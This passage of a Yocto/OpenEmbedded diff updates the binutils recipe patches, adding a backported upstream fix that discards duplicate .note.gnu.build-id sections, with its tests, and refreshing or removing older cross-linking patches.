IPLT=".iplt ${RELOCATING-0} : { *(.iplt) }"
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0001-elf-Discard-input-.note.gnu.build-id-sections.patch b/meta/recipes-devtools/binutils/binutils/0001-elf-Discard-input-.note.gnu.build-id-sections.patch
new file mode 100644
index 0000000000..c93af4e46f
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0001-elf-Discard-input-.note.gnu.build-id-sections.patch
@@ -0,0 +1,215 @@
+From b2e18d3ea300f7491705b6e86a7cc3d6366e3b1f Mon Sep 17 00:00:00 2001
+From: "H.J. Lu" <hjl.tools@gmail.com>
+Date: Tue, 30 Nov 2021 20:40:38 -0800
+Subject: [PATCH] elf: Discard input .note.gnu.build-id sections
+
+1. Discard input .note.gnu.build-id sections.
+2. Clear the build ID field before writing.
+3. Use bfd_make_section_anyway_with_flags to create the output
+.note.gnu.build-id section.
+
+ PR ld/28639
+ * ldelf.c (ldelf_after_open): Discard input .note.gnu.build-id
+ sections, excluding the first one.
+ (write_build_id): Clear the build ID field before writing.
+ (ldelf_setup_build_id): Use bfd_make_section_anyway_with_flags
+ to create the output .note.gnu.build-id section.
+ * testsuite/ld-elf/build-id.exp: New file.
+ * testsuite/ld-elf/pr28639a.rd: Likewise.
+ * testsuite/ld-elf/pr28639b.rd: Likewise.
+ * testsuite/ld-elf/pr28639c.rd: Likewise.
+ * testsuite/ld-elf/pr28639d.rd: Likewise.
+
+Upstream-Status: Backport
+
+Reference to upstream patch:
+[https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=1f1d0f8888a6c944e612b416a2a6e11abcf5199f]
+---
+ ld/ldelf.c | 15 ++++++-
+ ld/testsuite/ld-elf/build-id.exp | 77 ++++++++++++++++++++++++++++++++
+ ld/testsuite/ld-elf/pr28639a.rd | 6 +++
+ ld/testsuite/ld-elf/pr28639b.rd | 6 +++
+ ld/testsuite/ld-elf/pr28639c.rd | 10 +++++
+ ld/testsuite/ld-elf/pr28639d.rd | 4 ++
+ 6 files changed, 117 insertions(+), 1 deletion(-)
+ create mode 100644 ld/testsuite/ld-elf/build-id.exp
+ create mode 100644 ld/testsuite/ld-elf/pr28639a.rd
+ create mode 100644 ld/testsuite/ld-elf/pr28639b.rd
+ create mode 100644 ld/testsuite/ld-elf/pr28639c.rd
+ create mode 100644 ld/testsuite/ld-elf/pr28639d.rd
+
+diff --git a/ld/ldelf.c b/ld/ldelf.c
+index 21e655bb55c..8501d98b48f 100644
+--- a/ld/ldelf.c
++++ b/ld/ldelf.c
+@@ -1043,6 +1043,15 @@ ldelf_after_open (int use_libpath, int native, int is_linux, int is_freebsd,
+ /* Do not allow executable files to be used as inputs to the link. */
+ for (abfd = link_info.input_bfds; abfd; abfd = abfd->link.next)
+ {
++ /* Discard input .note.gnu.build-id sections. */
++ s = bfd_get_section_by_name (abfd, ".note.gnu.build-id");
++ while (s != NULL)
++ {
++ if (s != elf_tdata (link_info.output_bfd)->o->build_id.sec)
++ s->flags |= SEC_EXCLUDE;
++ s = bfd_get_next_section_by_name (NULL, s);
++ }
++
+ if (abfd->xvec->flavour == bfd_target_elf_flavour
+ && !bfd_input_just_syms (abfd)
+ && elf_tdata (abfd) != NULL
+@@ -1387,6 +1396,9 @@ write_build_id (bfd *abfd)
+ id_bits = contents + size;
+ size = asec->size - size;
+
++ /* Clear the build ID field. */
++ memset (id_bits, 0, size);
++
+ bfd_h_put_32 (abfd, sizeof "GNU", &e_note->namesz);
+ bfd_h_put_32 (abfd, size, &e_note->descsz);
+ bfd_h_put_32 (abfd, NT_GNU_BUILD_ID, &e_note->type);
+@@ -1418,7 +1430,8 @@ ldelf_setup_build_id (bfd *ibfd)
+
+ flags = (SEC_ALLOC | SEC_LOAD | SEC_IN_MEMORY
+ | SEC_LINKER_CREATED | SEC_READONLY | SEC_DATA);
+- s = bfd_make_section_with_flags (ibfd, ".note.gnu.build-id", flags);
++ s = bfd_make_section_anyway_with_flags (ibfd, ".note.gnu.build-id",
++ flags);
+ if (s != NULL && bfd_set_section_alignment (s, 2))
+ {
+ struct elf_obj_tdata *t = elf_tdata (link_info.output_bfd);
+diff --git a/ld/testsuite/ld-elf/build-id.exp b/ld/testsuite/ld-elf/build-id.exp
+new file mode 100644
+index 00000000000..19c22a75c4d
+--- /dev/null
++++ b/ld/testsuite/ld-elf/build-id.exp
+@@ -0,0 +1,77 @@
++# Expect script for --build-id tests.
++# Copyright (C) 2021 Free Software Foundation, Inc.
++#
++# This file is part of the GNU Binutils.
++#
++# This program is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3 of the License, or
++# (at your option) any later version.
++#
++# This program is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++#
++# You should have received a copy of the GNU General Public License
++# along with this program; if not, write to the Free Software
++# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston,
++# MA 02110-1301, USA.
++#
++
++# Exclude non-ELF targets.
++
++if ![is_elf_format] {
++ return
++}
++
++if { [istarget frv-*-*] || [istarget lm32-*-*] } {
++ return
++}
++
++if { !([istarget *-*-linux*]
++ || [istarget arm*-*-uclinuxfdpiceabi]
++ || [istarget *-*-nacl*]
++ || [istarget *-*-gnu*]) } then {
++ return
++}
++
++run_ld_link_tests [list \
++ [list \
++ "pr28639a.o" \
++ "-r --build-id=md5" \
++ "" \
++ "" \
++ {start.s} \
++ {{readelf {--notes} pr28639a.rd}} \
++ "pr28639a.o" \
++ ] \
++ [list \
++ "pr28639a.o" \
++ "-r --build-id" \
++ "" \
++ "" \
++ {dummy.s} \
++ {{readelf {--notes} pr28639b.rd}} \
++ "pr28639b.o" \
++ ] \
++ [list \
++ "pr28639a" \
++ "--build-id tmpdir/pr28639a.o tmpdir/pr28639b.o" \
++ "" \
++ "" \
++ {dummy.s} \
++ {{readelf {--notes} pr28639b.rd} \
++ {readelf {--notes} pr28639c.rd}} \
++ "pr28639a" \
++ ] \
++ [list \
++ "pr28639b" \
++ "--build-id=none tmpdir/pr28639a.o tmpdir/pr28639b.o" \
++ "" \
++ "" \
++ {dummy.s} \
++ {{readelf {--notes} pr28639d.rd}} \
++ "pr28639b" \
++ ] \
++]
+diff --git a/ld/testsuite/ld-elf/pr28639a.rd b/ld/testsuite/ld-elf/pr28639a.rd
+new file mode 100644
+index 00000000000..e85087064d0
+--- /dev/null
++++ b/ld/testsuite/ld-elf/pr28639a.rd
+@@ -0,0 +1,6 @@
++#...
++Displaying notes found in: \.note\.gnu\.build-id
++ Owner Data size Description
++ GNU 0x00000010 NT_GNU_BUILD_ID \(unique build ID bitstring\)
++ Build ID: [0-9a-f]+
++#pass
+diff --git a/ld/testsuite/ld-elf/pr28639b.rd b/ld/testsuite/ld-elf/pr28639b.rd
+new file mode 100644
+index 00000000000..04dcb04bec2
+--- /dev/null
++++ b/ld/testsuite/ld-elf/pr28639b.rd
+@@ -0,0 +1,6 @@
++#...
++Displaying notes found in: \.note\.gnu\.build-id
++ Owner Data size Description
++ GNU 0x00000014 NT_GNU_BUILD_ID \(unique build ID bitstring\)
++ Build ID: [0-9a-f]+
++#pass
+diff --git a/ld/testsuite/ld-elf/pr28639c.rd b/ld/testsuite/ld-elf/pr28639c.rd
+new file mode 100644
+index 00000000000..64221e5fa51
+--- /dev/null
++++ b/ld/testsuite/ld-elf/pr28639c.rd
+@@ -0,0 +1,10 @@
++#failif
++#...
++Displaying notes found in: \.note\.gnu\.build-id
++ Owner Data size Description
++ GNU 0x[0-9a-f]+ NT_GNU_BUILD_ID \(unique build ID bitstring\)
++ Build ID: [0-9a-f]+
++ Owner Data size Description
++ GNU 0x[0-9a-f]+ NT_GNU_BUILD_ID \(unique build ID bitstring\)
++ Build ID: [0-9a-f]+
++#...
+diff --git a/ld/testsuite/ld-elf/pr28639d.rd b/ld/testsuite/ld-elf/pr28639d.rd
+new file mode 100644
+index 00000000000..897c8493efa
+--- /dev/null
++++ b/ld/testsuite/ld-elf/pr28639d.rd
+@@ -0,0 +1,4 @@
++#failif
++#...
++Displaying notes found in: \.note\.gnu\.build-id
++#...
+--
+
diff --git a/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch b/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
index 41dff05b25..a6ca41374a 100644
--- a/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
+++ b/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
@@ -1,8 +1,7 @@
-From 0d14f8f333a9b519202246ce779f3e380491826c Mon Sep 17 00:00:00 2001
+From 6e93d0328f499569db7ce6396f94f304ce340df8 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 6 Mar 2017 23:37:05 -0800
-Subject: [PATCH 02/17] binutils-cross: Do not generate linker script
- directories
+Subject: [PATCH] binutils-cross: Do not generate linker script directories
We don't place target libraries within ${exec_prefix}, we'd always place these
within the target sysroot within the standard library directories. Worse, the
@@ -23,7 +22,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 25 deletions(-)
diff --git a/ld/genscripts.sh b/ld/genscripts.sh
-index 435689ea144..cff8a1467f9 100755
+index 46a2db7005c..4bb7c33f560 100755
--- a/ld/genscripts.sh
+++ b/ld/genscripts.sh
@@ -235,31 +235,6 @@ append_to_lib_path()
@@ -58,6 +57,3 @@ index 435689ea144..cff8a1467f9 100755
if [ "x${LIB_PATH}" = "x" ] && [ "x${USE_LIBPATH}" = xyes ] ; then
libs=${NATIVE_LIB_DIRS}
if [ "x${NATIVE}" = "xyes" ] ; then
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch b/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
index 28daf58f74..3c4f706f2d 100644
--- a/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
+++ b/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
@@ -1,8 +1,8 @@
-From 3bbec749ec9fe681ade6812c48c541a752fcffd5 Mon Sep 17 00:00:00 2001
+From d49016d3faf684319bf3ac37450558920d70be03 Mon Sep 17 00:00:00 2001
From: Richard Purdie <richard.purdie@linuxfoundation.org>
Date: Wed, 19 Feb 2020 09:51:16 -0800
-Subject: [PATCH 03/17] binutils-nativesdk: Search for alternative ld.so.conf
- in SDK installation
+Subject: [PATCH] binutils-nativesdk: Search for alternative ld.so.conf in SDK
+ installation
We need binutils to look at our ld.so.conf file within the SDK to ensure
we search the SDK's libdirs as well as those from the host system.
@@ -29,7 +29,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
5 files changed, 7 insertions(+), 3 deletions(-)
diff --git a/ld/Makefile.am b/ld/Makefile.am
-index 02c4fc16395..a5762227f0a 100644
+index f8e99325361..fd196541f59 100644
--- a/ld/Makefile.am
+++ b/ld/Makefile.am
@@ -42,7 +42,8 @@ ZLIBINC = @zlibinc@
@@ -43,10 +43,10 @@ index 02c4fc16395..a5762227f0a 100644
NO_WERROR = @NO_WERROR@
AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
diff --git a/ld/Makefile.in b/ld/Makefile.in
-index 2fe12e14f63..8f0c83ac8d2 100644
+index ef2e99e08da..cb8f5bfb70e 100644
--- a/ld/Makefile.in
+++ b/ld/Makefile.in
-@@ -548,7 +548,8 @@ ZLIB = @zlibdir@ -lz
+@@ -555,7 +555,8 @@ ZLIB = @zlibdir@ -lz
ZLIBINC = @zlibinc@
ELF_CLFAGS = -DELF_LIST_OPTIONS=@elf_list_options@ \
-DELF_SHLIB_LIST_OPTIONS=@elf_shlib_list_options@ \
@@ -57,7 +57,7 @@ index 2fe12e14f63..8f0c83ac8d2 100644
AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
diff --git a/ld/ldelf.c b/ld/ldelf.c
-index bada3ade2d7..b4784009d7a 100644
+index 21e655bb55c..d1615003ede 100644
--- a/ld/ldelf.c
+++ b/ld/ldelf.c
@@ -911,7 +911,7 @@ ldelf_check_ld_so_conf (const struct bfd_link_needed_list *l, int force,
@@ -70,7 +70,7 @@ index bada3ade2d7..b4784009d7a 100644
if (!ldelf_parse_ld_so_conf (&info, tmppath))
{
diff --git a/ld/ldmain.c b/ld/ldmain.c
-index 08be9030cb5..f5c5a336320 100644
+index 42660eb9a3c..5a4a4d5da3d 100644
--- a/ld/ldmain.c
+++ b/ld/ldmain.c
@@ -70,6 +70,7 @@ char *program_name;
@@ -82,7 +82,7 @@ index 08be9030cb5..f5c5a336320 100644
/* The canonical representation of ld_sysroot. */
char *ld_canon_sysroot;
diff --git a/ld/ldmain.h b/ld/ldmain.h
-index ac7db5720d5..1cbe1771912 100644
+index 39d08a6c378..4c3519e7970 100644
--- a/ld/ldmain.h
+++ b/ld/ldmain.h
@@ -23,6 +23,7 @@
@@ -93,6 +93,3 @@ index ac7db5720d5..1cbe1771912 100644
extern char *ld_canon_sysroot;
extern int ld_canon_sysroot_len;
extern FILE *saved_script_handle;
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch b/meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch
deleted file mode 100644
index 2381c7b85e..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 361c2c313196c095d12d17cecf0a069107dd629b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:07:33 +0000
-Subject: [PATCH 04/17] configure: widen the regexp for SH architectures
-
-gprof needs to know about uclibc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure | 2 +-
- configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure b/configure
-index 54d0339ab9e..6782f8b6ab8 100755
---- a/configure
-+++ b/configure
-@@ -3937,7 +3937,7 @@ case "${target}" in
- nvptx*-*-*)
- noconfigdirs="$noconfigdirs target-libssp target-libstdc++-v3 target-libobjc"
- ;;
-- sh-*-*)
-+ sh*-*-* | sh64-*-*)
- case "${target}" in
- sh*-*-elf)
- ;;
-diff --git a/configure.ac b/configure.ac
-index a910c4fd6ba..55beb1dea46 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1178,7 +1178,7 @@ case "${target}" in
- nvptx*-*-*)
- noconfigdirs="$noconfigdirs target-libssp target-libstdc++-v3 target-libobjc"
- ;;
-- sh-*-*)
-+ sh*-*-* | sh64-*-*)
- case "${target}" in
- sh*-*-elf)
- ;;
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch b/meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch
index c31a0bc9a6..7cd4a99d33 100644
--- a/meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch
+++ b/meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch
@@ -1,7 +1,7 @@
-From 39b478b7e52fb1b892a392f3c3750b9023cfabc8 Mon Sep 17 00:00:00 2001
+From 1a9fcaae50e63b993019bd4dc00219e43421efdc Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:09:58 +0000
-Subject: [PATCH 05/17] Point scripts location to libdir
+Subject: [PATCH] Point scripts location to libdir
Upstream-Status: Inappropriate [debian patch]
@@ -12,7 +12,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/ld/Makefile.am b/ld/Makefile.am
-index a5762227f0a..e1c665898f3 100644
+index fd196541f59..d94fa7e64e1 100644
--- a/ld/Makefile.am
+++ b/ld/Makefile.am
@@ -51,7 +51,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
@@ -25,10 +25,10 @@ index a5762227f0a..e1c665898f3 100644
EMUL = @EMUL@
EMULATION_OFILES = @EMULATION_OFILES@
diff --git a/ld/Makefile.in b/ld/Makefile.in
-index 8f0c83ac8d2..acc24ec4130 100644
+index cb8f5bfb70e..9a58879c5ca 100644
--- a/ld/Makefile.in
+++ b/ld/Makefile.in
-@@ -556,7 +556,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
+@@ -563,7 +563,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
# We put the scripts in the directory $(scriptdir)/ldscripts.
# We can't put the scripts in $(datadir) because the SEARCH_DIR
# directives need to be different for native and cross linkers.
@@ -37,6 +37,3 @@ index 8f0c83ac8d2..acc24ec4130 100644
BASEDIR = $(srcdir)/..
BFDDIR = $(BASEDIR)/bfd
INCDIR = $(BASEDIR)/include
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch b/meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
index 654b64ff78..d6b04fdae4 100644
--- a/meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
+++ b/meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
@@ -1,8 +1,7 @@
-From 59640ddf11104a604ccf7c078a48359d711c2f9c Mon Sep 17 00:00:00 2001
+From 29517900352336708495d41902b5b7e8cc9a401a Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:27:17 +0000
-Subject: [PATCH 06/17] Only generate an RPATH entry if LD_RUN_PATH is not
- empty
+Subject: [PATCH] Only generate an RPATH entry if LD_RUN_PATH is not empty
for cases where -rpath isn't specified. debian (#151024)
@@ -15,10 +14,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 4 insertions(+)
diff --git a/ld/ldelf.c b/ld/ldelf.c
-index b4784009d7a..541772f4604 100644
+index d1615003ede..6a894285b11 100644
--- a/ld/ldelf.c
+++ b/ld/ldelf.c
-@@ -1247,6 +1247,8 @@ ldelf_after_open (int use_libpath, int native, int is_linux, int is_freebsd,
+@@ -1250,6 +1250,8 @@ ldelf_after_open (int use_libpath, int native, int is_linux, int is_freebsd,
&& command_line.rpath == NULL)
{
path = (const char *) getenv ("LD_RUN_PATH");
@@ -27,7 +26,7 @@ index b4784009d7a..541772f4604 100644
if (path
&& ldelf_search_needed (path, &n, force,
is_linux, elfsize))
-@@ -1605,6 +1607,8 @@ ldelf_before_allocation (char *audit, char *depaudit,
+@@ -1610,6 +1612,8 @@ ldelf_before_allocation (char *audit, char *depaudit,
rpath = command_line.rpath;
if (rpath == NULL)
rpath = (const char *) getenv ("LD_RUN_PATH");
@@ -36,6 +35,3 @@ index b4784009d7a..541772f4604 100644
for (abfd = link_info.input_bfds; abfd; abfd = abfd->link.next)
if (bfd_get_flavour (abfd) == bfd_target_elf_flavour)
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch b/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
index 7f8fc9a5c0..39cef70bcd 100644
--- a/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
+++ b/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
@@ -1,8 +1,8 @@
-From 2b81508b9af76db292cd756432b03035cb8157e0 Mon Sep 17 00:00:00 2001
+From 37581c8ce9d98a1183706e12a2c9a73f7f40462d Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:39:01 +0000
-Subject: [PATCH 07/17] don't let the distro compiler point to the wrong
- installation location
+Subject: [PATCH] don't let the distro compiler point to the wrong installation
+ location
Thanks to RP for helping find the source code causing the issue.
@@ -17,7 +17,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/libiberty/Makefile.in b/libiberty/Makefile.in
-index 895f701bcd0..97a53f15bb6 100644
+index 4f1213b983b..2ba18b75cac 100644
--- a/libiberty/Makefile.in
+++ b/libiberty/Makefile.in
@@ -367,7 +367,8 @@ install-strip: install
@@ -30,6 +30,3 @@ index 895f701bcd0..97a53f15bb6 100644
install_to_libdir: all
if test -n "${target_header_dir}"; then \
${mkinstalldirs} $(DESTDIR)$(libdir)/$(MULTIOSDIR); \
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch b/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch
index 2356c6a60f..c724dfd7a7 100644
--- a/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch
+++ b/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch
@@ -1,7 +1,7 @@
-From 413075afbdb16e7cc05511682ca9e3c880acb5a7 Mon Sep 17 00:00:00 2001
+From 99e1565b9d2b929d4ee4e9da6f63766b22b23fc3 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 15 Jan 2016 06:31:09 +0000
-Subject: [PATCH 08/17] warn for uses of system directories when cross linking
+Subject: [PATCH] warn for uses of system directories when cross linking
2008-07-02 Joseph Myers <joseph@codesourcery.com>
@@ -57,16 +57,14 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
ld/ld.h | 8 ++++++++
ld/ld.texi | 12 ++++++++++++
ld/ldfile.c | 17 +++++++++++++++++
- ld/ldlex.h | 5 +++++
+ ld/ldlex.h | 2 ++
ld/ldmain.c | 2 ++
- ld/lexsup.c | 27 +++++++++++++++++++++++++++
- 9 files changed, 100 insertions(+)
+ ld/lexsup.c | 16 ++++++++++++++++
+ 9 files changed, 86 insertions(+)
-diff --git a/ld/config.in b/ld/config.in
-index f1712107367..308e0173c16 100644
--- a/ld/config.in
+++ b/ld/config.in
-@@ -40,6 +40,9 @@
+@@ -43,6 +43,9 @@
language is requested. */
#undef ENABLE_NLS
@@ -76,11 +74,9 @@ index f1712107367..308e0173c16 100644
/* Additional extension a shared object might have. */
#undef EXTRA_SHLIB_EXTENSION
-diff --git a/ld/configure b/ld/configure
-index f08ce9969ea..1c872c0db5f 100755
--- a/ld/configure
+++ b/ld/configure
-@@ -826,6 +826,7 @@ with_lib_path
+@@ -829,6 +829,7 @@ with_lib_path
enable_targets
enable_64_bit_bfd
with_sysroot
@@ -88,8 +84,8 @@ index f08ce9969ea..1c872c0db5f 100755
enable_gold
enable_got
enable_compressed_debug_sections
-@@ -1493,6 +1494,8 @@ Optional Features:
- --disable-largefile omit support for large files
+@@ -1498,6 +1499,8 @@ Optional Features:
+ --enable-checking enable run-time checks
--enable-targets alternative target configurations
--enable-64-bit-bfd 64-bit support (on hosts with narrower word sizes)
+ --enable-poison-system-directories
@@ -97,7 +93,7 @@ index f08ce9969ea..1c872c0db5f 100755
--enable-gold[=ARG] build gold [ARG={default,yes,no}]
--enable-got=<type> GOT handling scheme (target, single, negative,
multigot)
-@@ -15793,6 +15796,19 @@ fi
+@@ -15215,6 +15218,19 @@ fi
@@ -117,11 +113,9 @@ index f08ce9969ea..1c872c0db5f 100755
# Check whether --enable-gold was given.
if test "${enable_gold+set}" = set; then :
enableval=$enable_gold; case "${enableval}" in
-diff --git a/ld/configure.ac b/ld/configure.ac
-index 5a4938afdb0..dbbbde74b04 100644
--- a/ld/configure.ac
+++ b/ld/configure.ac
-@@ -94,6 +94,16 @@ AC_SUBST(use_sysroot)
+@@ -106,6 +106,16 @@ AC_SUBST(use_sysroot)
AC_SUBST(TARGET_SYSTEM_ROOT)
AC_SUBST(TARGET_SYSTEM_ROOT_DEFINE)
@@ -138,30 +132,26 @@ index 5a4938afdb0..dbbbde74b04 100644
dnl Use --enable-gold to decide if this linker should be the default.
dnl "install_as_default" is set to false if gold is the default linker.
dnl "installed_linker" is the installed BFD linker name.
-diff --git a/ld/ld.h b/ld/ld.h
-index 1790dc81a66..73f832eb169 100644
--- a/ld/ld.h
+++ b/ld/ld.h
-@@ -166,6 +166,14 @@ typedef struct
+@@ -162,6 +162,14 @@ typedef struct
in the linker script. */
- bfd_boolean force_group_allocation;
+ bool force_group_allocation;
+ /* If TRUE (the default) warn for uses of system directories when
+ cross linking. */
-+ bfd_boolean poison_system_directories;
++ bool poison_system_directories;
+
+ /* If TRUE (default FALSE) give an error for uses of system
+ directories when cross linking instead of a warning. */
-+ bfd_boolean error_poison_system_directories;
++ bool error_poison_system_directories;
+
/* Big or little endian as set on command line. */
enum endian_enum endian;
-diff --git a/ld/ld.texi b/ld/ld.texi
-index 2a93e9456ac..3eeb70607fd 100644
--- a/ld/ld.texi
+++ b/ld/ld.texi
-@@ -2655,6 +2655,18 @@ string identifying the original linked file does not change.
+@@ -2863,6 +2863,18 @@ string identifying the original linked f
Passing @code{none} for @var{style} disables the setting from any
@code{--build-id} options earlier on the command line.
@@ -180,11 +170,9 @@ index 2a93e9456ac..3eeb70607fd 100644
@end table
@c man end
-diff --git a/ld/ldfile.c b/ld/ldfile.c
-index e39170b5d94..fadc248a140 100644
--- a/ld/ldfile.c
+++ b/ld/ldfile.c
-@@ -117,6 +117,23 @@ ldfile_add_library_path (const char *name, bfd_boolean cmdline)
+@@ -117,6 +117,23 @@ ldfile_add_library_path (const char *nam
new_dirs->name = concat (ld_sysroot, name + strlen ("$SYSROOT"), (const char *) NULL);
else
new_dirs->name = xstrdup (name);
@@ -208,55 +196,52 @@ index e39170b5d94..fadc248a140 100644
}
/* Try to open a BFD for a lang_input_statement. */
-diff --git a/ld/ldlex.h b/ld/ldlex.h
-index 5ea083ebeb3..941dc5f3dc8 100644
--- a/ld/ldlex.h
+++ b/ld/ldlex.h
-@@ -155,6 +155,11 @@ enum option_values
- OPTION_NON_CONTIGUOUS_REGIONS,
- OPTION_NON_CONTIGUOUS_REGIONS_WARNINGS,
- OPTION_DEPENDENCY_FILE,
-+ OPTION_CTF_VARIABLES,
-+ OPTION_NO_CTF_VARIABLES,
-+ OPTION_CTF_SHARE_TYPES,
+@@ -163,6 +163,8 @@ enum option_values
+ OPTION_CTF_VARIABLES,
+ OPTION_NO_CTF_VARIABLES,
+ OPTION_CTF_SHARE_TYPES,
+ OPTION_NO_POISON_SYSTEM_DIRECTORIES,
+ OPTION_ERROR_POISON_SYSTEM_DIRECTORIES,
};
/* The initial parser states. */
-diff --git a/ld/ldmain.c b/ld/ldmain.c
-index f5c5a336320..516ba0360e2 100644
--- a/ld/ldmain.c
+++ b/ld/ldmain.c
-@@ -322,6 +322,8 @@ main (int argc, char **argv)
- command_line.warn_mismatch = TRUE;
- command_line.warn_search_mismatch = TRUE;
+@@ -321,6 +321,8 @@ main (int argc, char **argv)
+ command_line.warn_mismatch = true;
+ command_line.warn_search_mismatch = true;
command_line.check_section_addresses = -1;
-+ command_line.poison_system_directories = TRUE;
-+ command_line.error_poison_system_directories = FALSE;
++ command_line.poison_system_directories = true;
++ command_line.error_poison_system_directories = false;
/* We initialize DEMANGLING based on the environment variable
COLLECT_NO_DEMANGLE. The gcc collect2 program will demangle the
-diff --git a/ld/lexsup.c b/ld/lexsup.c
-index 58c6c078325..879e7bb7658 100644
+@@ -1444,7 +1446,7 @@ undefined_symbol (struct bfd_link_info *
+ argv[1] = "undefined-symbol";
+ argv[2] = (char *) name;
+ argv[3] = NULL;
+-
++
+ if (verbose)
+ einfo (_("%P: About to run error handling script '%s' with arguments: '%s' '%s'\n"),
+ argv[0], argv[1], argv[2]);
+@@ -1465,7 +1467,7 @@ undefined_symbol (struct bfd_link_info *
+ carry on to issue the normal error message. */
+ }
+ #endif /* SUPPORT_ERROR_HANDLING_SCRIPT */
+-
++
+ if (section != NULL)
+ {
+ if (error_count < MAX_ERRORS_IN_A_ROW)
--- a/ld/lexsup.c
+++ b/ld/lexsup.c
-@@ -572,6 +572,26 @@ static const struct ld_option ld_options[] =
- { {"no-print-map-discarded", no_argument, NULL, OPTION_NO_PRINT_MAP_DISCARDED},
- '\0', NULL, N_("Do not show discarded sections in map file output"),
+@@ -595,6 +595,14 @@ static const struct ld_option ld_options
+ " <method> is: share-unconflicted (default),\n"
+ " share-duplicated"),
TWO_DASHES },
-+ { {"ctf-variables", no_argument, NULL, OPTION_CTF_VARIABLES},
-+ '\0', NULL, N_("Emit names and types of static variables in CTF"),
-+ TWO_DASHES },
-+ { {"no-ctf-variables", no_argument, NULL, OPTION_NO_CTF_VARIABLES},
-+ '\0', NULL, N_("Do not emit names and types of static variables in CTF"),
-+ TWO_DASHES },
-+ { {"ctf-share-types=<method>", required_argument, NULL,
-+ OPTION_CTF_SHARE_TYPES},
-+ '\0', NULL, N_("How to share CTF types between translation units.\n"
-+ " <method> is: share-unconflicted (default),\n"
-+ " share-duplicated"),
